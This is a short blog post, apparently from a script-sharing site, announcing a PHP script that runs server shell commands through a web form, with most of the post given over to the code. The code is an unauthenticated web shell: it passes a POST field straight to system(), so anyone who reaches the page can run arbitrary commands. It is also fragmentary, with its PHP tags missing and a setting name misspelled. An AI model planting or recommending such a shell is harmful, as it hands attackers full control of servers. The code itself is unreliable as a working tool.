View our reviews on Hot Scripts You can now obtain our example scripts and/or vote for them at Hotscripts. To visit Hotscripts click here.

TPCS published a new PHP script today. This script will allow you to run shell (system) commands via a web interface if you run an Apache server (Linux).

$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $svr = getenv(SERVER_NAME);
else $svr = $_SERVER['SERVER_NAME'];
<title>Published at</title>
<form enctype="multipart/form-data" method="POST">
[webshell@<?php echo $svr ?> /]#
<input type="text" name="cmd" value="">
<input type="submit" value="Enter">
<hr width="75%" align="left">
$cmd = $_POST['cmd']; if($cmd) {
echo '<pre>'; echo $last_line = system($cmd); echo '</pre><br>';

Direct link: Web based shell commands

Thanks and take it easy,
Dave from TPCS

Bookmark / Share:
StumpleUpon Ma.gnolia DiggIt! Blinklist Yahoo Furl Technorati Simpy Spurl Reddit Google

Do you have a thought about this article? Post a comment and tell us about it!